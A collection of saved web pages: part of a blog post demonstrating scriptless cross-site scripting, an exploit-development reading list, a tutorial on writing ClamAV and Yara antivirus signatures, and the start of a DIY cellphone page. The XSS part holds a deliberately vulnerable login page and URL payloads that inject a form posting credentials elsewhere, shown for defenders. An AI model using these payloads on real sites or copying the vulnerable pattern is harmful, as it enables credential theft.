    <h1>Session timed out.</h1><p >You have been logged out from the site - please enter your username and password to log back in.</p><form id="safeForm" action="happyPage.htm" method="get">
      Username: <input name="username" value="name placeholder" /><br />
      Password: <input name="password" type="password" /><br />
      <input type="submit" />
    </form><script type="text/javascript">
        var queries;
        function getQueryString(key) {
            if (queries == undefined) {
                queries = {};
                var s = window.location.href.replace(/[^?]+\?/, "").split("&");
                for (var x in s) {
                    var v = s[x].split("=");
                    if (v.length == 2)
                        queries[v[0]] = decodeURIComponent(v[1].replace(/\+/g, " "));
                }
            }
            if (key in queries)
                return queries[key];
            return "";
        }
    
        var myField = document.getElementById("safeForm");
    
        if (myField != null) {
            var un = getQueryString("username");
    
            // Build the form with the username passed in.
    
            myField.innerHTML = myField.innerHTML.replace(/name placeholder/,un);
        }
    </script>
    
[/code]

### Side Note – on DOM-based XSS and anchors

Now, why did I specifically include the “getQueryString” in my Javascript
version above? I could have simply said “assume this function exists with
ordinary behaviour”. Well, I chose that one \(downloaded from, naturally, a
blog advising how to do this properly\) because it processes the entire href,
anchor and all.

If we modify our URL by adding “\#&” between the query and the variable
“username”, it demonstrates one of the more frightening aspects of DOM-based
attacks. Those of you who are aware of what an anchor does to a browser will
already have figured it out, but here’s a quick explanation.

The “anchor” is considered to be everything after the “\#” in a URL. Although
it looks like it’s part of the query string, it’s not. Browsers don’t send the
“\#” or anything after it to the server when requesting a web page, so it’s
not seen in a network trace, and it’s not seen in the server logs. This means
that DOM-based attacks can hide all manner of nastiness in the anchor, and
your scanners won’t pick it up at all.

###

### Back to the scriptless XSS…

So, this page would normally get executed with a parameter, “username” which
would be the username whose account we’re asking for credentials for – and
certainly it works withhttp://localhost/XSSFile.htm?username=Fred@example.com
:

<img src='img/Temp2_1678.png' width='359' height='191' alt='image' />

The trouble is, it also works with the XSS attackers’ favourite test example,
alert\("XSS"\)%3b'>http://localhost/XSSFile?username="><script>alert\("XSS"\)%3b</script>
:

<img src='img/Temp2_1675.png' width='358' height='190' alt='image' />

Now, I’ve seen developers who are given this demonstration that their page is
subject to an XSS attack. What do they do? They block the attack. Note that
this is not the same as removing or fixing the vulnerability. What these guys
will do is block angle brackets, or the tag “<script>”. As a security guy,
this makes me sigh with frustration, because we try to drill it into people’s
heads, over and over and over again, that blacklisting just doesn’t work, and
that “making the repro go away” is not equivalent to “fixing the problem
demonstrated by the repro”.

The classic attacker’s response to this is to go to
http://ha.ckers.org/xss.html for the XSS Cheat Sheet, and pull something
interesting from there. Maybe use the list of events, say, to decide that you
could set the ‘onfocus’ handler to execute your interesting code.

But no, let’s suppose by some miracle of engineering and voodoo the defender
has managed to block all incoming scripts. Even so, we’re still vulnerable to
XSS.

What happens if we try this link:

http://localhost/XSSFile?username="+type%3dhidden></form><form+action%3dbadpage+method%3dget><input+name=username+value%3d"Fred

\[The “%3d” there is a hex value representing the “=” character so that the
query-string parser doesn’t split our attack.\]

<img src='img/Temp2_1679.png' width='363' height='201' alt='image' />

OK, that’s kind of ugly – but it demonstrates that you can use an XSS
vulnerability to inject any HTML – including a new <form> tag, with a
different destination – “badpage” in our URL above, but it could be anywhere.
And by hiding the attacked input field, we can engineer the user into thinking
it’s just a display issue

With some piggery-jokery, we can get to this:

http://localhost/XSSFile?username="+style%3dborder:0px%3bwidth:0px/></form><form+method%3dget+action%3dsadpage.htm+style%3dposition:relative%3btop:-3.5ex><input+name%3dusername+value%3d"Fred@example.com"+style%3d"position:relative%3bleft:65px

Looks much better \(and with more work, we could get it looking just right\):

<img src='img/Temp2_1676.png' width='350' height='199' alt='image' />

So, there you have a demonstration of scriptless cross-site scripting. XSS, or
HTML Injection, as I’d prefer you think of it, can inject any tag\(s\) into
your page – can essentially rewrite your page without your knowledge. If you
want to explain the magnitude of XSS, it is simply this – an attacker has
found a way to rewrite your web page, as if he was employed by you.

\[Of course, if I hadn’t been trying to demonstrate that XSS is a misnomer,
and prove that you can shove any old HTML into it, I would simply have used a
piece of script, probably on the onmouseover event, to set the action of the
form to post to my bad site. Fewer characters. Doing so is left as an exercise
for the reader.\]

### Side discussion – why does the Javascript version work at all?

It doesn’t work in Internet Explorer, but in other browsers, it seems to work
just fine. At first look, this would seem to suggest that “innerHTML” on a
<form> tag is allowing the “</form">” in the XSS to escape out from the parent
form. I can assure you that’s not the case, because if you could escape out,
that would be a security flaw in the browsers’ implementation of innerHTML.
So, what’s it doing, and how do you find out?

Published Wed, Jul 7 2010 23:03 by Alun Jones

Filed under: General Security, Programmer Hubris

  

# Myne-us: From 0x90 to 0x4c454554, a journey into exploitation.

**Created:**| _11/6/2010 9:30:17 PM_  
---|---  
**Updated:**| _11/6/2010 9:30:52 PM_  
**Author:**| __  
**Tags:**| _Exploit reversing awesome collab_  
  

### From 0x90 to 0x4c454554, a journey into exploitation.

In the last few weeks I have been diving deeper down the rabbit hole of
exploitation work and with a bit of work and time to prepare myself for the
long run I compiled a set of areas to study in a course type layout. I hope my
research will help others spend more time learning and less time searching.  
Because I am doing this myself I may have missed 1 or 2 things and along the
way I will add in anything I find to help with process. So let us both get
started...  
  
First off I want to thank the corelan guys for the help they have provided me
so far in the process. They have been there for me through my learning with
knowledge and help. Thank you\!  
  
layout: I will be posting in a hierarchical structure, each hierarchy
structure should be fully understood before moving on to the next section. I
will also post sets of Parallel learning topics that you can use to study in
line with other topics to help prevent monotony. These Parallel areas will
have a start and end mark which shows when they should be complete in
perspective to the overall learning  
  
New -> desktop background Cheatsheet added to documents page Backgrounds  
  
Other Posts like this one:  
Because of quality of these two posts I wanted to put them at the top. I could
not figure out where to put them in the list because they cover so much.  
past-present-future of windows exploitation  
smashing the stack in 2010\(Great resource\)  
  

  1.   

  2. Part 1: Programming
  3.   
Parallel learning \#1:\(_complete this section before getting to the book
"Hacking Art of exploitation"_\)  
While going through the programming area I concentrate on core topics to help
us later on with exploit writing. One area that is very good to pick up is
some kind of scripting language. Listed below are some of the most popular
scripting languages and ones I feel will prove to be the most useful.  
  
Python: One of my favorite languages and growing in popularity python is a
powerful language that is easy to use and well documented.  
Wikibooks Python  
http://docs.python.org/  
onlinecomputerbooks.com  
  
Ruby: If you plan on later on working inside of metasploit this may be the
language you want to start with. I highly suggest this for exploit developers
to learn.  
Wikibooks Ruby  
LittleBookOfRuby  
Ruby Programmers Guide  
onlinecomputerbooks.com  
  
Perl: An older language that still has a lot of use perl is one of the highest
used scripting languages and you will see it used in many exploits. \(I would
suggest python over perl\)  
\[book\] O'Reilly Learning Perl  
onlinecomputerbooks.com  
  
  
C and C++ programming:  
It is very important to understand what you are exploiting so to get started
let us figure out what we are exploiting. You do not need to go through all of
these but when finished with this section you should have a good understanding
of C and C++ programming.  
Cprogramming.com  
http://www.java2s.com/Tutorial/C/CatalogC.htm  
http://beej.us/guide/bgc/  
onlinecomputerbooks.com  
  
X86 Assembly:  
Ok now to understand what the computer reads when we compile C and C++. I am
going to mostly stick to the IA-32\(X86\) assembly language. Read the first
link to understand why. It explains it very well.  
Skullsecurity: Assembly  
Windows Assembly Programming Tutorial  
http://en.wikibooks.org/wiki/X86\_Assembly  
\[book\]The Art of Assembly  
Assembly primer for hackers  
  
Windows Programming:  
This is to help understand what we are programming in and the structure of
libraries in the OS. This area is very important far down the line  
http://en.wikibooks.org/wiki/Windows\_Programming  
http://www.relisoft.com/win32/index.htm  
\[book\]Windows Internals 5  
\[book\]Windows Internals 4  
  
Disassembly:  
Dissassembly is not as much programming as it is what the computer understands
and the way it is interpreted from CPU and memory. This is where we start
getting into the good stuff.  
http://en.wikibooks.org/wiki/X86\_disassembly  
The Art of Disassembly  
  
  

  4. Part 2: Getting started
  5.   
Now that we have a very good understanding of programming languages and what
the machine is doing we can start working on task at hand, exploitation.  
Here I will start a lot of the learning in very much a list format and adding
in comments or Parallel learning areas when needed.  
  
Smash the stack for fun and profit \(Phrack 49\)  
C function call conventions and the stack  
Anatomy of a program in memory  
Function CAlls, Part 1 \(the Basics\)  
\[videos\]Code Audit from cryptocity.net  
  
\(**Parallel learning \#1 finished:** You should now have finished on Parallel
learning 1 and have a good understanding of one of the 3 languages\)  
  
\[Book\]Hacking art of exploitation \[Chapter 1&2\]  
Corelan T1  
Corelan T2  
  
Parallel learning \#2:\(_complete this section before end of part 2_\)  
\(Read the first few posts on this blog has some good info\)  
Kspice blog  
\(Read some of the post from this blog they are very helpful with starting out
with fuzzers.\)  
Nullthreat's blog  
\(I am linked directly to a demo exploit for this area but this is a useful
blog to keep track of for many things\)  
A demo exploit  
  
tenouk.com: Buffer overflow intro  
The Tao of Windows Buffer Overflow  
nsfsecurity on BOF  
Hacker center: BOF  
\[video\]Buffer overflow Primer  
\[Book\]Shellcoder's Handbook Ch1&2  
\[Book\]Hacking art of exploitation \[Chapter 3\]  
Corelan T3A  
Corelan T3B  
SEH Based Exploits and the development process  
SEH overwrite simplified  
  
\(\(**Parallel learning \#2 finished:**\)  
  

  6. Part 3:Tools of the trade
  7.   
This is a list of tools I have started using and find very useful.  
Immunity Debugger  
Ollydbg  
Windbg  
IDA Pro  
explorer suite  
Sysinternals  
  
And here are some corelan posts on how to use them. I will supply more in
future but this is a very good start.  
Corelan T5  
Corelan: Immunity debugger cheatsheet  
  

  8. Part 4: Network and Metasploit
  9.   
\(Networking\)  
Beej.us network programming  
\[Book\]Hacking art of exploitation \[Chapter 4\]  
Socket Programming in ruby  
  
\(Metasploit\)  
\[Video\]Security Tube: Metasploit Megaprimer  
Metasploit.com  
Metasploit Unleashed  
\[video\]Metasploit Louisville Class  
Metasploitable \(a target\)  
Corelan T4  
intern0t: developing my first exploit  
\[video\]DHAtEnclaveForensics: Exploit Creation in Metasploit  
Wikibooks Metasploit/Writing Windows Exploit  
  

  10. Part 5: Shellcode
  11.   
Corelan T9  
projectShellcode: Shellcode Tutorial  
\[Book\]Shellcoder's Handbook Ch3  
\[Book\]Hacking art of exploitation \[Chapter 5\]  
Writing small shellcode  
Shell-storm Shellcode database  
Advanced shellcode  
  

  12. Part 6: Engineering in Reverse
  13.   
Parallel Learning \#3:\(constant place to reference and use for reversing\)  
\[forum\]reverse-engineering.net  
Reverse Engineering the World  
Reversing for Newbies  
Room362.com reversing blog post  
Ethicalhacker.net intro to reverse engineering  
acm.uiuc.edu Intro to Reverse Engineering software  
\[Book\]Reversing: secrets of reverse engineering  
\[video\]Reverse Engineering from cryptocity.net  
CrackZ's Reverse Engineering Page  
Reverse engineering techniques  
  
\[GAME\]Crackmes.de  
  

  14. Part 7: Getting a little deeper into BOF
  15.   
Parallel Learning \#4:\(To the end of the course and beyond\)  
Find old exploits on Exploit-db download them, test them, rewrite them,
understand them.  
  
\(Part A: preventions\)  
Buffer overflow protection  
The evolution of Microsoft's Mitigations  
Purdue.edu: Canary Bit  
Preventing the exploitation of SEH Overwrites with SEHOP  
Bypassing SEHOP  
Wikipedia Executable space protextion  
Wikipedia DEP  
Bypassing Hardware based DEP  
Wikipedia ASLR  
Symantec ASLR in Vista  
Defeating the Stack Based Buffer Overflow Prevention  
Corelan T6  
Return to libc  
  
\(Part B: Advanced BOF\)  
\[video\]Exploitation from cryptocity.net  
Corelan T7  
Corelan T8  
Corelan T10  
Virtual Worlds - Real Exploits  
  
\[GAME\]Gera's Insecure Programming  
\[GAME\]Smash the stack wargaming network  
  

  16. Part 8: Heap overflow
  17.   
rm -rf / on heap overflow  
w00w00 on heap overflow  
\[book\]Shellcoder's Handbook Ch4&5  
h-online A heap of Risk  
\[video\]Defcon 15 remedial Heap Overflows  
heap overflow: ancient art of unlink seduction  
Memory corruptions part II -- heap  
  
\[book\]Read the rest of Shellcoder's Handbook  
  

  18. Part 9: Exploit listing sites
  19.   
Exploit-DB  
Injector  
CVE Details  
Packetstorm  
CERT  
Mitre  
National Vulnerability Database  
  
\(bonus: site that lists types of vulnerabilties and info\)  
Common Weakness Enumberation  
  

  20. Part 10: To come
  21.   
1\. Fuzzing  
2\. File Format  
3\. and more  

  
  
If anyone has any good links to add post a comment and I will try to add them
or send me the link and I will review and add it.  
  
If anyone finds any bad or false information in any of these tutorials please
let me know. I do not want people reading this getting bad information.

  

# Hooked on Mnemonics Worked for Me: An Intro to Creating Anti-Virus
Signatures:

**Created:**| _1/18/2011 9:51:56 AM_  
---|---  
**Updated:**| _1/18/2011 9:52:11 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis Tutorials signatures antivirus_  
  

# Hooked on Mnemonics Worked for Me

### An Intro to Creating Anti-Virus Signatures:

This is an introductory post on creating anti-virus signatures. This post will
cover the three main types of signature detections. The three most common
signatures are hashes, byte-signature and heuristics. It is intended for
malware analyst and reverse engineers, experience in binary code analysis is
expected. This article is going to focus primarily on creating signatures in
Microsoft Portable Executable files .exe, .dll or .sys. The ideas expressed in
this could also be used for creating signatures on other file types such as
portable documented format \(.pdf\) or PowerPoint \(.ppt \) files. The reason
why I'm writing this post is because there is very little information on the
internet in regards to creating anti-virus signatures. There are a few
articles on how to create signatures with ClamAV or using diffing tools but
none of these articles give much details. I'm hoping by the information in
this post is helpful for others in creating signatures for classifying malware
or protecting their network. If you have any questions, thoughts, corrections
or would like more clarity please leave a comment.  
  
To error on the side of caution.  
There are a couple best practices for creating signatures. The first one is do
not target packer or cryptography library code. This type of code is often
reused and has a high potential for false positives. The code is usually
complicated and is hard to understand the assembly representation. In
situations where the packer is unique to the malware the code can be used to
identify the malware. This type of detection has it's flaws though. Detecting
malware based off of packers gives very little insight into classifying
multiple variants. The code could be reused across multiple variants or
authors. Packed code creates a dilemma for signature detection. If the files
has been packed or compressed the file will need to uncompressed or dumped
before the file should be scanned. Anti-virus engines use emulators and
unpackers to get the files to an uncompressed or dumped state before scanning
the files. If the files are compressed or packed tools such as Python,
TitanEngine or theImmunity Debugger with some scripting could be used for
creating dumps or uncompressed files. A side effect of these tools is they
will need to be run in a isolated environment such as VMware or Wine. ClamAV
can also unpack some packers such as UPX, FSG, Petite and a couple others.  
  
Data that has been obfuscated or compressed should never be used as a
candidate for a signature. As in the case of file hashes such as MD5; changing
one byte of data can change the obfuscated or compressed code. Since the bytes
can be easily changed by different data or key, there is a chance that the
data will not be present in other variants. An example would be if the code
obfuscated a URL and then the author changes the URL. All of the code would be
static but the bytes of the obfuscated URL would be different. Hence breaking
the signature. This scenario is not only applicable for PE files but also
compressed steams in PDFs, compressed SWFs and other compressed or obfuscated
data. If there is data in a section of aPortable Executable \(PE\) that is
encrypted and is static throughout multiple files, this would be a good
candidate for a sectional MD5.  
  
The second is do not create signatures on code that can not be understood.
Experience in reverse engineering and analyzing a wide range of code will help
with choosing sections of code that will not give a false positive. If the
code's function can not be understood along with what is calling code, it
should not be used as a signature. This will help eliminate the possibility of
false positives on library code and other commonly used code. IDA's Flirt
signature is extremely useful for helping with identifying common compiler
code. If developers of open source and closed source libraries created Flirt
signatures and sent them to Hex-Rays they would never have an anti-virus
software detect their code again. If the code can be understood then more
analysis will be needed or another section of code should be targeted.  
  
The third is look for the author's hand or internet. A couple of questions to
ask in regards to the authors hand. Is the section of code being targeted
applicable only towards this piece of malware or is it a common routine such
as reading a registry setting? Would the author have written this piece of
code for this piece of malware or have hundred authors written the same
routine for different programs? This can be difficult to access. Google can be
helpful in this situation. Sometimes googling a combination of the APIs can
return examples of the code or the malware source code.  
  
The fourth best practice is to make sure to understand the scope of the
scanned files and implications of detection. If the signatures are scanning a
repository of malware then the signatures can be vague. If the signature will
be scanning desktops across an enterprise network and deleting the detected
files, the signature must be accurate. It's always best to error on the side
of caution when their is a chance that removing a file can have negative
effect. Creating multiple signature for multiple variants is usually safer
than creating a generic signature that has potential for false positives.  
  
The final best practice, strings should be used as a last resort. Strings
rarely give any details about the actual code. Strings and data are cheap,
code is more expensive and time consuming. Code is more likely to stay static.
In some situations such as executables written in Visual Basic strings are
advantageous but overall code is best to target. Code and strings can always
be combined to make a stronger signatures.  
  
Tools  
There are a couple of open source tools that can be used for scanning files
and will be used for examples in this article. Once the initial learning curve
is over, these tools are easy to use and can be adapted quickly to most
environments. These tools can be run in a Linux or Windows environments. Below
is the name of tool and some of it's scanning capabilities. All commands are
included in the examples so the reader can try out the examples.  
  
\* ClamAV \- Hex Byte Scanning, regex, md5 file scanning, md5 sectional
scanning, sigtool \( tool for creating signatures and hashes \)  
\* Yara \- A powerful rule based scanner that supports many conditions and
data types, does not support hashing  
\* ssdeep \- A tool for creating and comparing context triggered piecewise
hash.  
  
Hash Signatures  
The most basic and easiest type of signature is a hash value. A hash value is
created by a hash function that is a procedure or mathematical function which
converts a large amount of data into a single value. The most commonly used
hash function is MD5 and SHA-1. These hash functions are extremely accurate.
For example if there is block of data that is hashed and then the same block
of data has a byte changed then rehashed the hash values will be different.  
  

view plainprint?

  1. md5 of the string "WeBuiltThisCity\!" = "07363ec9aa7a39c28da675ee2291946b"
  2. md5 of the string "WeBuiltThisCity" = "80b135388f2c979d53c229546c129a61"

  
  
Md5 based signatures can be created using ClamAV. Yara does not support file
hashing. ClamAV requires two attributes in order to create a MD5 hash
signature. The first is the file size in bytes and the second is the MD5 hash.
ClamAV comes with a tool called sigtool that can be used to generate MD5
signatures. Sigtool can be found in the "bin" directory in the installation
folder of ClamAV.  
  

view plainprint?

  1. C:\XOR\clamwin\bin>sigtool.exe --md5 1.txt
  2. 07363ec9aa7a39c28da675ee2291946b:16:C:\XOR\1.txt

  
  
ClamAV signatures are separated with by a colon ':'. The first part is the MD5
\(07363ec9aa7a39c28da675ee2291946b\), the second is the size \(16\) and the
last part is the file location or output. The output is usually the malware
name or something specific to the file. Colons can not be used in the output
because these are treated as special characters in ClamAV signatures database.
MD5 signatures need to be saved in a file with a .hdb extension. The above
output from sigtool could be piped \( > \) to a file called shredder.hdb. This
makes it very easy to create MD5 signatures with all files in a directory
using a simple for loop in bash or the window command line. See reference 1
for more information. This also makes it possible to create ClamAV signatures
from Virustotal results without having the file because the MD5 and file size
are provided in the Virustotal Analysis.  
  
Hash values are useful if the malware sample is static but if one byte in the
executable is changed; the hash signature is broken. In some instances the
code of the executable never changes but the data that the executable uses
does. An example of code that might not change would be the executable
produced by a GUI Remote Access Trojan kit. The codes sections would be the
same but if one user used 192.168.0.1 and another used 192.160.2 the data
sections would be different. In this example sectional hashing could be used
to target the codes section data block and create a hash based signature.  
  

view plainprint?

  1. Example of a sectional hash using ClamAV: 
  2. PESectionSize:MD5:MalwareName 
  3. .code:80b135388f2c979d53c229546c129a61:Rocksteady 

  
  
The signature will need to be saved in a file with a .mdb file extension in
order to be in the proper ClamAV format. As stated before colons are treated
as special characters for separating data in the ClamAV signature database.
The first part is the PE section name \(.code\), the second is the MD5 hash of
the section \(80b135388f2c979d53c229546c129a61\) and the last is the output or
name of the malware \(Rocksteady\). See reference 1 for more information.  
  
Hashing can also be used to identify files that have been modified. Fuzzy
hashing is a combination of recursive computing and context triggered hashing.
It can be used to identify files that have had data deleted, modified or new
data inserted. Jesse Kornblum is the developer of a tool called ssdeep. Below
is an example of comparing two executable files with a single byte difference.  
  

view plainprint?

  1. C:\XOR>md5sum \* 
  2. 623eea5c4c6209e1ebe44b2e6ca16428 \*simple - edit.exe 
  3. e300ef28554d39ee3668dca05d5d5415 \*simple.exe 
  4.   5. C:\XOR>ssdeep \* 
  6. ssdeep,1.1\--blocksize:hash:hash,filename 
  7. 384:hJyMBCI1Ex85hKuwoK/ZiBqv5ICmOKk7iw:hJlC38wBY0,"C:\XOR\simple - edit.exe"
  8. 384:BJyMBCI1Ex85hKuwoK/ZiBqv5ICmOKk7iw:BJlC38wBY0,"C:\XOR\simple.exe"
  9.   10. C:\XOR\simple.exe matches C:\XOR\simple - edit.exe \(99\) 

  
  
Fuzzy hashing requires all the hashes to be stored in an ascii text file and
then each hashed file will need to be matched against the ascii hash text
file. This type of scanning is more computational intensive than other forms
of scanning due to the hashing and comparing of all the hash values. An issue
with fuzzy hashing \( or all hashes for that matter \) is that what might seem
like slight modifications by the author/programmer can noticeably change the
calculated match value. Oursimple.exe was modified by changing some of the
output strings and recompiled as simple2.exe; no code was changed.  
  

view plainprint?

  1. C:\XOR\ssdeep \* 
  2. ssdeep,1.1\--blocksize:hash:hash,filename 
  3. 384:BJyMBCI1Ex85hKuwoK/ZiBqv5ICmOKk7iw:BJlC38wBY0,"C:\XOR\simple.exe"
  4. 384:5JTMJCv1w05hDuwoKoRiBqP5IqmuKk7iw:5JOCXrQQ0,"C:XOR\simple2.exe"
  5.   6. C:\XOR\diff-strings\New Folder>ssdeep 
  7. ssdeep: No input files 
  8.   9. C:\XOR\diff-strings\New Folder>ssdeep -d \* 
  10.   11. C:\XOR\diff-strings\New Folder>ssdeep \* 
  12. ssdeep,1.1\--blocksize:hash:hash,filename 
  13. 384:BJyMBCI1Ex85hKuwoK/ZiBqv5ICmOKk7iw:BJlC38wBY0,"C:\XOR\diff-strings\New Folde 
  14. r\simple.exe"
  15. 384:5JTMJCv1w05hDuwoKoRiBqP5IqmuKk7iw:5JOCXrQQ0,"C:\XOR\diff-strings\New Folder\ 
  16. simple2.exe"
  17.   18. C:\XOR\>ssdeep simple.exe > out.txt 
  19. C:\XOR\>ssdeep simple2.exe > out2.txt 
  20.   21. C:\XOR\>ssdeep -d out\* 
  22. C:\XOR\out2.txt matches C:\XOR\out.txt \(50\) 

  
  
Since all hashes need to be saved to a text file and then compared ssdeep can
be computational expensive. See reference 2 for more information.  
  
Byte-Signatures  
Byte-signature or byte detections are a signature based off a sequence of file
bytes that are present in a file or data stream. Byte signatures are a very
common form of detection and have been used since the first anti-virus
scanner. Their usefulness is due to the accuracy they provide for detecting a
sequence of bytes. The sequence of bytes is chosen because it exist in
multiple variants of malware from the same family. The accuracy afforded by
byte-signatures is why it is one of the most common types of signatures and is
widely used by anti-virus vendors. The first anti-virus engine used this type
of detection. Byte-signatures can be any type of data such as code or data
contained inside of a data stream of an executable, a XORed .pdf or a Word
document.  
  

view plainprint?

  1. Example of a byte signature in the ClamAV format. 
  2. Simple dot exe:1:90FF1683EE0483EB0175F6

  
  
"Simple dot exe" is the output displayed by the ClamAV scanner; this is
usually the malware family name. The second section is for the ClavAV engine
to know the file type of the scanned file. The value '1' is for the engine to
scan portable executable files. To scan any file type the value '0' needs to
be used. The "90FF1683EE0483EB0175F6" is the hexadecimal representation of the
opcodes. It represents the below assembly.  
  

view plainprint?

  1. start: 0x401A2E length: 0xC
  2. 90 nop 
  3. FF 16 call dword ptr \[esi\] 
  4. 83 EE 04 sub esi, 4
  5. 83 EB 01 sub ebx, 1
  6. 75 F6 jnz short loc\_401A30 
  7.   8. Example of a byte signature in the Yara format. 
  9. rule example 
  10. \{ 
  11. strings: 
  12. signature = \{ 66 90 FF 16 83 EE 04 83 EB 01 75 F6 \} 
  13. condition: 
  14. signature 
  15. \} 

  
  
Yara's signature format is much different than ClamAV. The syntax style is
similar to a C struct. The first string defines that we are creating a rule of
"example". The "strings" and "condition" are keywords used by the Yara engine.
The strings defines the signatures. Yara's signatures can be any many formats
from strings, hex-bytes, regex and a number of other formats. The keyword
"condition" defines under what circumstances Yara should alert on the
signature. There are many conditions that can be constructed for Yara to
detect a file. See reference 6 for more information.  
  
Binary Diffing  
Manual and automated analysis techniques can be used for finding code blocks
that are present throughout variants. The process of comparing multiple
executables for similarities is called binary diffing. Manual binary diffing
consists of reviewing the disassembly of multiple files and noting sections of
code that are present in multiple files. Once blocks of code are identified a
side-by-side comparison can be done checking for similarities. If the code has
a high similarity it might be a good candidate for a byte-signature. A semi-
automated approach of binary diffing would consist of grouping files into sets
of files that are similar, use a disassembler to to get the assembly in a text
output, diff the outputs, create more specific sets for diffs that match and
then manually analyze the sections of codes that were found in the diffs that
matched. For example, we could use IDA to create the assembly output and then
use Kdiff to diff the assembly outputs.  
  

view plainprint?

  1. C:\XOR\>dir 
  2. 23,503 simple.exe 
  3. 23,503 simple2.exe 
  4.   5. C:\XOR\>"C:\Program Files\IDA Free\idag.exe" -B "simple.exe"
  6.   7. C:\XOR\>"C:\Program Files\IDA Free\idag.exe" -B "simple2.exe"
  8.   9. C:\XOR\>dir 
  10. 51,262 simple.asm 
  11. 23,503 simple.exe 
  12. 204,956 simple.idb 
  13. 51,274 simple2.asm 
  14. 23,503 simple2.exe 
  15. 204,956 simple2.idb 

  
  
The "-B" flag is for creating an IDA database \(.idb\) and a text output of
the assembly \(.asm\). The assembly output can then be diffed. Kdiff is a good
tool to diff files because it does not do a straight diff of the two files. It
will try to align sections that our separated by large amounts of data or
code. These sections could be different because of a function that wasn't
included in one executable or the presence of junk code or data. KDiff can
also diff up to three files at a time. Automated tools such as Bindiff,
PatchDiff2 and DarunGrim can be used to find differences between IDA database
files. These tools are more specifically designed towards binary diffing
paths. VxClass is another tool that can be used for creating sets of variants,
binary diffing and identifying sections of code that could be used for
potential signatures \*\*.  
  
Diffing is also very useful for displaying sections of code where wildcards
will need to be used for byte-signatures. The wildcards will allow the scanner
to ignore bytes of code that are not static throughout multiple variants. The
non-static bytes could be caused by the insertion of junk code, addition or
removal of code or the addition or removal of data. A slight change in file
alignment can break byte-signatures that targets instructions. Common
instructions that use offsets based off of file alignment are long jmps, call
sub-routine or call an api or others that cmp, mov, sub, add, etc that
reference offsets. It's best when creating signatures to always add the
wildcards for the offsets even if they are static throughout multiple
variants. An example below can be seen how file alignment can break byte-
signatures. The two code blocks are from simple.exe and simple2.exe. The
starting codes address, functionality and length are exactly the same. The
only difference between the two blocks of code are the address offsets of the
dword that is compared against ebx. The difference in file alignment was
caused by the output strings being a different length.  
  

view plainprint?

  1. simple.exe 
  2. start: 0x401902 length: 0x14
  3. 81 FB 8C 31 40 00 cmp ebx, offset dword\_40318C 
  4. 0F 83 3A FF FF FF jnb loc\_401848 
  5. BE 00 00 40 00 mov esi, 400000h
  6. 8D 7D E0 lea edi, \[ebp+var\_20\] 
  7.   8. 81 FB 8C 31 40 00 0F 83 3A FF FF FF BE 00 00 40 00 8D 7D E0 
  9.   10. simple2.exe 
  11. start: 0x401902 length: 0x14
  12. 81 FB 94 31 40 00 cmp ebx, offset dword\_403194 
  13. 0F 83 3A FF FF FF jnb loc\_401848 
  14. BE 00 00 40 00 mov esi, 400000h
  15. 8D 7D E0 lea edi, \[ebp+var\_20\] 
  16.   17. 81 FB 94 31 40 00 0F 83 3A FF FF FF BE 00 00 40 00 8D 7D E0 
  18.   19. ClamAV Format 
  20. Both Simple dot exe:1:81FB\*\*\*\*\*\*\*\*0F833AFFFFFFBE000040008D7DE0
  21.   22. Yara Format 
  23. rule both\_simple\_dot\_exe 
  24. \{ 
  25. strings: 
  26. signature = \{ 81 FB ?? ?? ?? ?? 0F 83 3A FF FF FF BE 00 00 40 00 8D 7D E0 \} 
  27. condition: 
  28. signature 
  29. \} 

  
  
  
Heuristics  
The last type of signature detections is heuristics. Heuristics is used when
the malware is too complex for hash and byte-signatures. Heuristics is a
general term for the all the different techniques. An anti-virus engine might
use emulation, API hooking, sand-boxing, file anomalies and other analysis
techniques. It is one of the most complex forms of detections. Each anti-virus
engine uses different algorithms and different proprietary techniques. A
simple example of creating a heuristics signature would include an API logger
and rules based off the APIs. Let's start with the "Hello World" of malware,
Poison Ivy for creating an API rule based signature. When Poison Ivy is
executed it will create a mutex, write a registry key and copy itself over to
the System32 directory. The default mutex for Poison Ivy is "\)\!VoqA.I4".
Using Kerberos API Monitor we can simulate an API hook that an anti-virus
engine might use. A heuristics API rule for Poison Ivy based off of it's
behavior might consist a set of rules. This is a very simple example. Parsing
API logs from tools such as Norman and CWS Sandbox could be used to create
similar rules for malware that is packed, encrypted or hash or byte-signatures
fail to detect.  
  

view plainprint?

  1. Rule A 
  2. An API call to RtlMoveMemory with a string of "SOFTWARE\Classes\http\shell\open\commandV"
  3.   4. Rule B 
  5. An API call to CreateMutexA with a string of "\)\!VoqA.I4"
  6.   7. Rule C 
  8. An API call to GetSystemDirectory 
  9.   10. if \( Rule A then Rule B then Rule C \) 
  11. then 
  12. Process = PoisonIvy 
  13.   14. Keribos Output 
  15. Rule A 
  16. simple.exe | 00401447 | RtlMoveMemory\(0012F458, 0040162F: "SOFTWARE\Classes\http\shell\open\commandV", 00000028\) returns: 0012F458
  17. ........... 
  18. Rule B 
  19. simple.exe | 0040155D | CreateMutexA\(00000000, 00000000, 0012F43B: "\)\!VoqA.I4"\) returns: 0000003C
  20. ........... 
  21. Rule C 
  22. simple.exe | 004018BF | GetSystemDirectoryA\(0012F6F1, 000000FF\) returns: 00000013

  
Conclusion  
This post is just an introductory to creating anti-virus signatures. I am by
no means an expert in the different technologies and algorithms used for
scanning files. My experience is limited to hashing, byte-signatures, memory
offset byte-signatures and creating detection mechanisms for malicious
documents. I hope this article was useful and might give some ideas for other
reverse engineers and malware analyst. If you know of any good articles on
anti-virus scanning and the algorithms please leave a comment. I'd like to
thank b0ne for all his help over the years.  
  
References:  
1\. www.clamav.net/doc/latest/signatures.pdf  
2\. http://dfrws.org/2006/proceedings/12-Kornblum.pdf  
3\. http://www.virustotal.com/file-
scan/report.html?id=fab272012d934f75915cd888f213e8857c390086363351eab3bf69f19ce67b65-1292244815  
4\. http://www.zynamics.com/bindiff.html,
http://code.google.com/p/patchdiff2/, http://www.darungrim.org/  
5\. http://kdiff3.sourceforge.net/  
6\. http://code.google.com/p/yara-project/downloads/list  
\*\* The author has never personally used VxClass. This information is second
hand from Zynamics blog and site.

  

# David A. Mellis: DIY Cellphone

**Created:**| _8/14/2013 1:02:29 PM_  
---|---  
**Updated:**| _8/14/2013 1:02:29 PM_  
**Author:**| __  
**Tags:**| _Embedded hardware DSP_  
  

# **D** IY Cellphone****

The DIY Cellphone is a working \(albeit basic\) cellphone that you can make
yourself**.** It can make and receive phone calls and text messages, store
names and phone numbers, and display the time**.** It builds on the hardware
and software in the Arduino GSM Shield  but extends it with a full interface,
